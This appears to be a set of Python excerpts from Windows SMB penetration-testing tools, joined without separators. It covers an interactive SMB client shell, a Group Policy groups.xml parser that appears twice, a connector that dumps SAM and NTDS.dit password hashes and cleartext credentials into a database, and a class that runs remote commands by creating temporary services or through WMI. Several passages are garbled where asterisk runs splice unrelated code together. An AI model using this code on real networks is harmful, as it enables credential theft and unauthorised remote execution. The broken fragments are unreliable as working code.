class MiniImpacketShell(cmd.Cmd): def __init__(self, smbClient, tcpShell=None): #If the tcpShell parameter is passed (used in ntlmrelayx), # all input and output is redirected to a tcp socket # instead of to stdin / stdout if tcpShell is not None: cmd.Cmd.__init__(self, stdin=tcpShell.stdin, stdout=tcpShell.stdout) sys.stdout = tcpShell.stdout sys.stdin = tcpShell.stdin sys.stderr = tcpShell.stdout self.use_rawinput = False self.shell = tcpShell else: cmd.Cmd.__init__(self) self.shell = None self.prompt = '# ' self.smb = smbClient self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, self.TGT, self.TGS = smbClient.getCredentials() self.tid = None self.intro = 'Type help for list of commands' self.pwd = '' self.share = None self.loggedIn = True self.last_output = None self.completion = [] def emptyline(self): pass def precmd(self, line): # switch to unicode return line def onecmd(self,s): retVal = False try: retVal = cmd.Cmd.onecmd(self,s) except Exception as e: LOG.error(e) LOG.debug('Exception info', exc_info=True) return retVal def do_exit(self,line): if self.shell is not None: self.shell.close() return True def do_shell(self, line): output = os.popen(line).read() print(output) self.last_output = output def do_help(self,line): print(""" open {host,port=445} - opens a SMB connection against the target host/port login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it'll be prompted. Use the DNS resolvable domain name login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes logoff - logs off shares - list available shares use {sharename} - connect to an specific share cd {path} - changes the current directory to {path} lcd {path} - changes the current local directory to {path} pwd - shows current remote directory password - changes the user password, the new password will be prompted for input ls {wildcard} - lists all the files in the current directory rm {file} - removes the selected file mkdir {dirname} - creates the directory under the current path rmdir {dirname} - removes the directory under the current path put {filename} - uploads the filename into the current path get {filename} - downloads the filename from the current path mget {mask} - downloads all files from the current directory matching the provided mask cat {filename} - reads the filename from the current path mount {target,path} - creates a mount point from {path} to {target} (admin required) umount {path} - removes the mount point at {path} without deleting the directory (admin required) list_snapshots {path} - lists the vss snapshots for the specified path info - returns NetrServerInfo main results who - returns the sessions currently connected at the target host (admin required) close - closes the current SMB Session exit - terminates the server process (and this session) """) def do_password(self, line): if self.loggedIn is False: LOG.error("Not logged in") return from getpass import getpass newPassword = getpass("New Password:"******"SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: LOG.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: LOG.info("SMBv2.1 dialect used") else: LOG.info("SMBv3.0 dialect used") self.share = None self.tid = None self.pwd = '' self.loggedIn = False self.password = None self.lmhash = None self.nthash = None self.username = None def do_login(self,line): if self.smb is None: LOG.error("No connection open") return l = line.split(' ') username = '' password = '' domain = '' if len(l) > 0: username = l[0] if len(l) > 1: password = l[1] if username.find('/') > 0: domain, username = username.split('/') if password == '' and username != '': from getpass import getpass password = getpass("Password:"******"GUEST Session Granted") else: LOG.info("USER Session Granted") self.loggedIn = True def do_kerberos_login(self,line): if self.smb is None: LOG.error("No connection open") return l = line.split(' ') username = '' password = '' domain = '' if len(l) > 0: username = l[0] if len(l) > 1: password = l[1] if username.find('/') > 0: domain, username = username.split('/') if domain == '': LOG.error("Domain must be specified for Kerberos login") return if password == '' and username != '': from getpass import getpass password = getpass("Password:"******"GUEST Session Granted") else: LOG.info("USER Session Granted") self.loggedIn = True def do_login_hash(self,line): if self.smb is None: LOG.error("No connection open") return l = line.split(' ') domain = '' if len(l) > 0: username = l[0] if len(l) > 1: hashes = l[1] else: LOG.error("Hashes needed. Format is lmhash:nthash") return if username.find('/') > 0: domain, username = username.split('/') lmhash, nthash = hashes.split(':') self.smb.login(username, '', domain,lmhash=lmhash, nthash=nthash) self.username = username self.lmhash = lmhash self.nthash = nthash if self.smb.isGuestSession() > 0: LOG.info("GUEST Session Granted") else: LOG.info("USER Session Granted") self.loggedIn = True def do_logoff(self, line): if self.smb is None: LOG.error("No connection open") return self.smb.logoff() del self.smb self.share = None self.smb = None self.tid = None self.pwd = '' self.loggedIn = False self.password = None self.lmhash = None self.nthash = None self.username = None def do_info(self, line): if self.loggedIn is False: LOG.error("Not logged in") return rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrServerGetInfo(dce, 102) print("Version Major: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_major']) print("Version Minor: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_minor']) print("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name']) print("Server Comment: %s" % resp['InfoStruct']['ServerInfo102']['sv102_comment']) print("Server UserPath: %s" % resp['InfoStruct']['ServerInfo102']['sv102_userpath']) print("Simultaneous Users: %d" % resp['InfoStruct']['ServerInfo102']['sv102_users']) def do_who(self, line): if self.loggedIn is False: LOG.error("Not logged in") return rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10) for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']: print("host: %15s, user: %5s, active: %5d, idle: %5d" % ( session['sesi10_cname'][:-1], session['sesi10_username'][:-1], session['sesi10_time'], session['sesi10_idle_time'])) def do_shares(self, line): if self.loggedIn is False: LOG.error("Not logged in") return resp = self.smb.listShares() for i in range(len(resp)): print(resp[i]['shi1_netname'][:-1]) def do_use(self,line): if self.loggedIn is False: LOG.error("Not logged in") return self.share = line self.tid = self.smb.connectTree(line) self.pwd = '\\' self.do_ls('', False) def complete_cd(self, text, line, begidx, endidx): return self.complete_get(text, line, begidx, endidx, include = 2) def do_cd(self, line): if self.tid is None: LOG.error("No share selected") return p = line.replace('/','\\') oldpwd = self.pwd if p[0] == '\\': self.pwd = line else: self.pwd = ntpath.join(self.pwd, line) self.pwd = ntpath.normpath(self.pwd) # Let's try to open the directory to see if it's valid try: fid = self.smb.openFile(self.tid, self.pwd, creationOption = FILE_DIRECTORY_FILE, desiredAccess = FILE_READ_DATA | FILE_LIST_DIRECTORY, shareMode = FILE_SHARE_READ | FILE_SHARE_WRITE ) self.smb.closeFile(self.tid,fid) except SessionError: self.pwd = oldpwd raise def do_lcd(self, s): print(s) if s == '': print(os.getcwd()) else: os.chdir(s) def do_pwd(self,line): if self.loggedIn is False: LOG.error("Not logged in") return print(self.pwd) def do_ls(self, wildcard, display = True): if self.loggedIn is False: LOG.error("Not logged in") return if self.tid is None: LOG.error("No share selected") return if wildcard == '': pwd = ntpath.join(self.pwd,'*') else: pwd = ntpath.join(self.pwd, wildcard) self.completion = [] pwd = pwd.replace('/','\\') pwd = ntpath.normpath(pwd) for f in self.smb.listPath(self.share, pwd): if display is True: print("%crw-rw-rw- %10d %s %s" % ( 'd' if f.is_directory() > 0 else '-', f.get_filesize(), time.ctime(float(f.get_mtime_epoch())), f.get_longname())) self.completion.append((f.get_longname(), f.is_directory())) def do_rm(self, filename): if self.tid is None: LOG.error("No share selected") return f = ntpath.join(self.pwd, filename) file = f.replace('/','\\') self.smb.deleteFile(self.share, file) def do_mkdir(self, path): if self.tid is None: LOG.error("No share selected") return p = ntpath.join(self.pwd, path) pathname = p.replace('/','\\') self.smb.createDirectory(self.share,pathname) def do_rmdir(self, path): if self.tid is None: LOG.error("No share selected") return p = ntpath.join(self.pwd, path) pathname = p.replace('/','\\') self.smb.deleteDirectory(self.share, pathname) def do_put(self, pathname): if self.tid is None: LOG.error("No share selected") return src_path = pathname dst_name = os.path.basename(src_path) fh = open(pathname, 'rb') f = ntpath.join(self.pwd,dst_name) finalpath = f.replace('/','\\') self.smb.putFile(self.share, finalpath, fh.read) fh.close() def complete_get(self, text, line, begidx, endidx, include = 1): # include means # 1 just files # 2 just directories p = line.replace('/','\\') if p.find('\\') < 0: items = [] if include == 1: mask = 0 else: mask = 0x010 for i in self.completion: if i[1] == mask: items.append(i[0]) if text: return [ item for item in items if item.upper().startswith(text.upper()) ] else: return items def do_mget(self, mask): if mask == '': LOG.error("A mask must be provided") return if self.tid is None: LOG.error("No share selected") return self.do_ls(mask,display=False) if len(self.completion) == 0: LOG.error("No files found matching the provided mask") return for file_tuple in self.completion: if file_tuple[1] == 0: filename = file_tuple[0] filename = filename.replace('/', '\\') fh = open(ntpath.basename(filename), 'wb') pathname = ntpath.join(self.pwd, filename) try: LOG.info("Downloading %s" % (filename)) self.smb.getFile(self.share, pathname, fh.write) except: fh.close() os.remove(filename) raise fh.close() def do_get(self, filename): if self.tid is None: LOG.error("No share selected") return filename = filename.replace('/','\\') fh = open(ntpath.basename(filename),'wb') pathname = ntpath.join(self.pwd,filename) try: self.smb.getFile(self.share, pathname, fh.write) except: fh.close() os.remove(filename) raise fh.close() def do_cat(self, filename): if self.tid is None: LOG.error("No share selected") return filename = filename.replace('/','\\') fh = BytesIO() pathname = ntpath.join(self.pwd,filename) try: self.smb.getFile(self.share, pathname, fh.write) except: raise output = fh.getvalue() encoding = "" # chardet.detect(output)["encoding"] error_msg = "[-] Output cannot be correctly decoded, are you sure the text is readable ?" if encoding: try: print(output.decode(encoding)) except: print(error_msg) finally: fh.close() else: print(error_msg) fh.close() def do_close(self, line): self.do_logoff(line) def do_list_snapshots(self, line): l = line.split(' ') if len(l) > 0: pathName= l[0].replace('/','\\') # Relative or absolute path? if pathName.startswith('\\') is not True: pathName = ntpath.join(self.pwd, pathName) snapshotList = self.smb.listSnapshots(self.tid, pathName) if not snapshotList: print("No snapshots found") return for timestamp in snapshotList: print(timestamp) def do_mount(self, line): l = line.split(' ') if len(l) > 1: target = l[0].replace('/','\\') pathName= l[1].replace('/','\\') # Relative or absolute path? if pathName.startswith('\\') is not True: pathName = ntpath.join(self.pwd, pathName) self.smb.createMountPoint(self.tid, pathName, target) def do_umount(self, mountpoint): mountpoint = mountpoint.replace('/','\\') # Relative or absolute path? if mountpoint.startswith('\\') is not True: mountpoint = ntpath.join(self.pwd, mountpoint) mountPath = ntpath.join(self.pwd, mountpoint) self.smb.removeMountPoint(self.tid, mountPath) def do_EOF(self, line): print('Bye!\n') return True
def _get_groupsxml(self, groupsxml_path, gpo_display_name): gpo_groups = list() content_io = StringIO() groupsxml_path_split = groupsxml_path.split('\\') gpo_name = groupsxml_path_split[6] target = self._domain_controller share = groupsxml_path_split[3] file_name = '\\'.join(groupsxml_path_split[4:]) smb_connection = SMBConnection(remoteName=target, remoteHost=target) # TODO: kerberos login smb_connection.login(self._user, self._password, self._domain, self._lmhash, self._nthash) smb_connection.connectTree(share) try: smb_connection.getFile(share, file_name, content_io.write) except SessionError: return list() content = content_io.getvalue().replace('\r', '') groupsxml_soup = BeautifulSoup(content, 'xml') for group in groupsxml_soup.find_all('Group'): members = list() memberof = list() local_sid = group.Properties.get('groupSid', str()) if not local_sid: if 'administrators' in group.Properties['groupName'].lower(): local_sid = 'S-1-5-32-544' elif 'remote desktop' in group.Properties['groupName'].lower(): local_sid = 'S-1-5-32-555' else: local_sid = group.Properties['groupName'] memberof.append(local_sid) for member in group.Properties.find_all('Member'): if not member['action'].lower() == 'add': continue if member['sid']: members.append(member['sid']) else: members.append(member['name']) if members or memberof: # TODO: implement filter support (seems like a pain in the ass, # I'll do it if the feature is asked). PowerView also seems to # have the barest support for filters, so ¯\_(ツ)_/¯ gpo_group = GPOGroup(list()) setattr(gpo_group, 'gpodisplayname', gpo_display_name) setattr(gpo_group, 'gponame', gpo_name) setattr(gpo_group, 'gpopath', groupsxml_path) setattr(gpo_group, 'members', members) setattr(gpo_group, 'memberof', memberof) gpo_groups.append(gpo_group) return gpo_groups
class SmbCon(Connector): def __init__(self, args, loggers, host, db): Connector.__init__(self, args, loggers, host) self.auth = False self.con = False self.client = ''.join( [choice(ascii_letters + digits) for x in range(7)]) self.smbv1 = False self.os = '' self.admin = False self.signing = False self.os_arch = '0' self.remote_ops = None self.bootkey = None self.db = db self.port = 445 ######################### # Session Management ######################### def create_smb_con(self): # Create SMB Con if self.smb_connection(): self.host_info() try: # SMB Auth self.con.login(self.username, self.password, self.domain, lmhash=self.lmhash, nthash=self.nthash) self.auth = True self.host_info() self.isAdmin() self.update_db() except Exception as e: raise Exception(str(e)) else: raise Exception('Connection to Server Failed') def update_db(self): self.db.update_host(self.host, self.ip, self.domain, self.os, self.signing) if self.username and self.password or self.username and self.hash: self.db.update_user(self.username, self.password, self.domain, self.hash) if self.admin: self.db.update_admin(self.username, self.domain, self.host) def logoff(self): self.con.logoff() def close(self): try: self.con.logoff() except: pass try: self.con.close() except: pass ######################### # SMB Connection ######################### def smb_connection(self): if self.smbv1_con(): return True elif self.smbv3_con(): return True return False def smbv1_con(self): try: self.con = SMBConnection(self.client, self.host, sess_port=self.port, preferredDialect=SMB_DIALECT, timeout=int(self.timeout)) self.smbv1 = True self.con.setTimeout(self.timeout) return True except Exception as e: return False def smbv3_con(self): try: self.con = SMBConnection(self.client, self.host, sess_port=self.port, timeout=int(self.timeout)) self.con.setTimeout(self.timeout) return True except Exception as e: return False ######################### # Authentication (NOT IN USE) ######################### def set_host(self, local_auth): # Get domain for authentication purposes if local_auth: self.domain = self.con.getServerName( ) + "." + self.con.getServerDNSDomainName() else: self.domain = self.con.getServerDNSDomainName() # Backup for Linux/Unix systems if not self.domain: self.domain = self.con.getServerName( ) + "." + self.con.getServerDNSDomainName() ################################ # Enumerate Host information ################################ def host_info(self): try: self.srvdomain = self.get_domain() self.host = self.get_hostname() self.os = self.con.getServerOS() self.signing = self.con.isSigningRequired() arch = self.get_os_arch() if arch == 32 or arch == 64: self.os_arch = " x{}".format(str(arch)) else: self.os_arch = '' except Exception as e: self.logger.debug("SMB Host Info: {}".format(str(e))) def get_os_arch(self): # Credit: https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py # Credit: https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_19/examples/getArch.py try: stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host) transport = DCERPCTransportFactory(stringBinding) transport.set_connect_timeout(5) dce = transport.get_dce_rpc() dce.connect() try: dce.bind( MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')) except DCERPCException as e: if str(e).find('syntaxes_not_supported') >= 0: dce.disconnect() return 32 else: dce.disconnect() return 64 except: return 0 def get_hostname(self): if self.con.getServerDNSDomainName() and not self.local_auth: if self.con.getServerName().lower( ) != self.con.getServerDNSDomainName().lower(): return (self.con.getServerName() + "." + self.con.getServerDNSDomainName()) else: return self.con.getServerName() else: return self.con.getServerName() def get_domain(self): try: return self.con.getServerDomain() except: return self.getServerName() def list_shares(self): # name=share['shi1_netname'][:-1], description=share['shi1_remark'] return self.con.listShares() ################################ # Host/Domain Password Policy ################################ def password_policy(self): SAMRDump(self).dump(self.host) ################################ # List Shares & Check Share Permissions ################################ def read_perm(self, share): try: # Silently list path to check access self.list_path(share, False) return True except: return False def write_perm(self, share): try: # Create dir to check write access tmp = '.' + ''.join( [choice(ascii_letters + digits) for x in range(5)]) self.con.createDirectory(share, tmp) self.con.deleteDirectory(share, tmp) return True except Exception as e: return False def list_path(self, share, path): if not path: path = '/*' return self.con.listPath(share, path) ################################ # Check if User Admin ################################ def isAdmin(self): rpctransport = SMBTransport(self.host, self.port, r'\svcctl', smb_connection=self.con) dce = rpctransport.get_dce_rpc() try: dce.connect() except: pass else: dce.bind(scmr.MSRPC_UUID_SCMR) try: # 0xF003F - SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx ans = scmr.hROpenSCManagerW(dce, '{}\x00'.format(self.host), 'ServicesActive\x00', 0xF003F) self.admin = True return True except scmr.DCERPCException as e: pass return False ################################ # Dump SAM / LSA # Methods were modified from: # https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py # https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py ################################ def enable_remoteops(self): if self.remote_ops is not None and self.bootkey is not None: return try: self.remote_ops = RemoteOperations(self.con, False, None) self.remote_ops.enableRegistry() self.bootkey = self.remote_ops.getBootKey() except Exception as e: self.logger.fail('RemoteOperations failed for {}: {}'.format( self.host, str(e))) def sam(self): def add_sam_hash(sam_hash, host): self.logger.success([self.host, self.ip, "SAM HASH", sam_hash]) username, _, lmhash, nthash, _, _, _ = sam_hash.split(':') self.db.update_user(username, '', host, "{}:{}".format(lmhash, nthash)) add_sam_hash.added_to_db += 1 try: add_sam_hash.added_to_db = 0 self.enable_remoteops() if self.remote_ops and self.bootkey: SAMFileName = self.remote_ops.saveSAM() SAM = SAMHashes(SAMFileName, self.bootkey, isRemote=True, perSecretCallback=lambda secret: add_sam_hash( secret, self.host)) SAM.dump() except Exception as e: self.logger.debug('SAM Extraction Failed for {}: {}'.format( self.host, str(e))) if add_sam_hash.added_to_db > 0: self.logger.success([ self.host, self.ip, "SAM HASH", '{} NTLM hashes added to the database'.format( add_sam_hash.added_to_db) ]) try: self.remote_ops.finish() SAM.finish() except Exception as e: self.logger.debug( ["SAM", "Error calling remote_ops.finish(): {}".format(e)]) def ntds(self): def add_ntds_hash(ntds_hash): if ntds_hash.find('$') == -1: if "CLEARTEXT" in ntds_hash: try: add_ntds_hash.clear_text += 1 username, password = ntds_hash.split(":CLEARTEXT:") domain, username = username.split("\\") self.db.update_user(username, '', domain, password) add_ntds_hash.added_to_db += 1 except: self.logger.fail( "Error adding clear text cred to db: {}".format( ntds_hash)) else: if ntds_hash.find('\\') != -1: domain, hash = ntds_hash.split('\\') else: domain = self.domain hash = ntds_hash try: username, _, lmhash, nthash, _, _, _ = hash.split(':') parsed_hash = ':'.join((lmhash, nthash)) if validate_ntlm(parsed_hash): add_ntds_hash.ntds_hashes += 1 self.db.update_user(username, '', domain, "{}:{}".format(lmhash, nthash)) add_ntds_hash.added_to_db += 1 except: self.logger.debug( "Skipping non-NTLM hash: {}".format(ntds_hash)) else: self.logger.debug("Skipping computer account") try: self.enable_remoteops() use_vss_method = self.args.use_vss NTDSFileName = None add_ntds_hash.ntds_hashes = 0 add_ntds_hash.clear_text = 0 add_ntds_hash.added_to_db = 0 outfile = os.path.join(os.path.expanduser('~'), '.ar3', 'workspaces', self.args.workspace, self.domain) if self.remote_ops and self.bootkey: if self.args.ntds is 'vss': NTDSFileName = self.remote_ops.saveNTDS() use_vss_method = True NTDS = NTDSHashes(NTDSFileName, self.bootkey, isRemote=True, history=False, noLMHash=True, remoteOps=self.remote_ops, useVSSMethod=use_vss_method, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=outfile, justUser=None, printUserStatus=False, perSecretCallback=lambda secretType, secret: add_ntds_hash(secret)) self.logger.info([ self.host, self.ip, "NTDS", 'Dumping NTDS.dit, this could take a minute' ]) NTDS.dump() self.logger.success([ self.host, self.ip, "NTDS", '{} NTLM hashes and {} clear text passwords collected'. format(add_ntds_hash.ntds_hashes, add_ntds_hash.clear_text) ]) self.logger.success([ self.host, self.ip, "NTDS", '{} creds added to the database'.format( add_ntds_hash.added_to_db) ]) self.logger.info([ self.host, self.ip, "NTDS", 'Hash files located at: {}'.format(outfile) ]) else: raise Exception("RemoteOps and BootKey not initiated") except Exception as e: self.logger.fail('NTDS Extraction Failed for {}: {}'.format( self.host, str(e))) try: self.remote_ops.finish() NTDS.finish() except Exception as e: self.logger.debug( ["NTDS", "Error calling remote_ops.finish(): {}".format(e)]) ################################ # File Interaction ################################ def createFile(self, filename, data, share='C$'): # Create new file & write data, Not In Use f = remotefile.RemoteFile(self.con, filename, share) f.create() f.write(data) f.close() def uploadFile(self, local_file, location, share='C$'): f = open(local_file) self.con.putFile(share, location, f.read) f.close() def downloadFile(self, remote_file, location='ar3_download', share='C$'): f = open(location, 'wb') self.con.getFile(share, remote_file, f.write) f.close() return def deleteFile(self, remote_file, share='C$'): self.con.deleteFile(share, remote_file)
def _get_groupsxml(self, groupsxml_path, gpo_display_name): gpo_groups = list() content_io = StringIO() groupsxml_path_split = groupsxml_path.split('\\') gpo_name = groupsxml_path_split[6] target = groupsxml_path_split[2] share = groupsxml_path_split[3] file_name = '\\'.join(groupsxml_path_split[4:]) smb_connection = SMBConnection(remoteName=target, remoteHost=target) # TODO: kerberos login smb_connection.login(self._user, self._password, self._domain, self._lmhash, self._nthash) smb_connection.connectTree(share) try: smb_connection.getFile(share, file_name, content_io.write) except SessionError: return list() content = content_io.getvalue().replace('\r', '') groupsxml_soup = BeautifulSoup(content, 'xml') for group in groupsxml_soup.find_all('Group'): members = list() memberof = list() local_sid = group.Properties.get('groupSid', str()) if not local_sid: if 'administrators' in group.Properties['groupName'].lower(): local_sid = 'S-1-5-32-544' elif 'remote desktop' in group.Properties['groupName'].lower(): local_sid = 'S-1-5-32-555' else: local_sid = group.Properties['groupName'] memberof.append(local_sid) for member in group.Properties.find_all('Member'): if not member['action'].lower() == 'add': continue if member['sid']: members.append(member['sid']) else: members.append(member['name']) if members or memberof: # TODO: implement filter support (seems like a pain in the ass, # I'll do it if the feature is asked). PowerView also seems to # have the barest support for filters, so ¯\_(ツ)_/¯ gpo_group = GPOGroup(list()) setattr(gpo_group, 'gpodisplayname', gpo_display_name) setattr(gpo_group, 'gponame', gpo_name) setattr(gpo_group, 'gpopath', groupsxml_path) setattr(gpo_group, 'members', members) setattr(gpo_group, 'memberof', memberof) gpo_groups.append(gpo_group) return gpo_groups
class RemoteOperations: def __init__(self, remote_name, exec_method, username='', password='', domain='', aes_key=None, do_kerberos=False, dc_ip=None, hashes=None, target_ip=None): self.__remote_name = remote_name self.__exec_method = exec_method self.__username = username self.__password = password self.__domain = domain self.__aes_key = aes_key self.__do_kerberos = do_kerberos self.__dc_ip = dc_ip if hashes is None: self.__lmhash, self.__nthash = '', '' else: self.__lmhash, self.__nthash = hashes.split(':') self.__remote_host = target_ip self.__batchFile = '%TEMP%\\execute.bat' self.__shell = '%COMSPEC% /Q /c ' self.__output = '%SYSTEMROOT%\\Temp\\__output' self.__answerTMP = b'' self.__smb_connection = None def __smb_connect(self): if self.__smb_connection is not None: return self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host) logging.debug('SMB server is reachable, trying to authenticate...') if self.__do_kerberos: self.__smb_connection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aes_key, self.__dc_ip) else: self.__smb_connection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) def __smb_exec(self, command): self.__smb_connect() rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\svcctl]') rpc.set_smb_connection(self.__smb_connection) h_scmr = rpc.get_dce_rpc() h_scmr.connect() h_scmr.bind(scmr.MSRPC_UUID_SCMR) h_scmanager = scmr.hROpenSCManagerW(h_scmr)['lpScHandle'] # Ensure we use a unique service name tmp_svc_name = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) logging.debug('Creating service %s', tmp_svc_name) resp = scmr.hRCreateServiceW(h_scmr, h_scmanager, tmp_svc_name, tmp_svc_name, lpBinaryPathName=command) service = resp['lpServiceHandle'] try: scmr.hRStartServiceW(h_scmr, service) except Exception: pass logging.debug('Deleting service %s', tmp_svc_name) scmr.hRDeleteService(h_scmr, service) scmr.hRCloseServiceHandle(h_scmr, service) h_scmr.disconnect() def __wmi_exec(self, command): # Convert command to wmi exec friendly format command = command.replace('%COMSPEC%', 'cmd.exe') dcom = DCOMConnection(self.__remote_name, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aes_key, oxidResolver=False, doKerberos=self.__do_kerberos, kdcHost=self.__dc_ip) i_interface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iwbemlevel1login = wmi.IWbemLevel1Login(i_interface) iwbemservices = iwbemlevel1login.NTLMLogin('//./root/cimv2', NULL, NULL) iwbemlevel1login.RemRelease() win32_process, _ = iwbemservices.GetObject('Win32_Process') win32_process.Create(command, '\\', None) dcom.disconnect() def execute_remote(self, cmd, get_output=False): if get_output: self.__smb_connect() command = self.__shell + 'echo ' + cmd + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + \ self.__shell + self.__batchFile + ' & ' + 'del ' + self.__batchFile else: command = self.__shell + 'echo ' + cmd + ' > ' + self.__batchFile + ' & ' + \ self.__shell + self.__batchFile + ' & ' + 'del ' + self.__batchFile logging.debug('Executing remote command through %s : %s', self.__exec_method, cmd) if self.__exec_method == 'smbexec': self.__smb_exec(command) elif self.__exec_method == 'wmiexec': self.__wmi_exec(command) else: raise ValueError('Invalid exec method %s, aborting' % self.__exec_method) if not get_output: return time.sleep(1) tries = 0 while True: tries += 1 self.__answerTMP = b'' try: self.__smb_connection.getFile('ADMIN$', 'Temp\\__output', self.__answer) break except Exception as e: if tries > 30: logging.error( 'Giving up on command "%s" execution in %s after %u tries to get output file %s (error %s)', cmd, self.__batchFile, tries, self.__output, str(e)) raise if str(e).find('SHARING') > 0 or ( isinstance(e, SessionError) and e.error == 0xc000003a): # or STATUS_OBJECT_PATH_NOT_FOUND # Stuff didn't finish yet.. wait more time.sleep(5) pass else: raise return self.__answerTMP def __answer(self, data): self.__answerTMP += data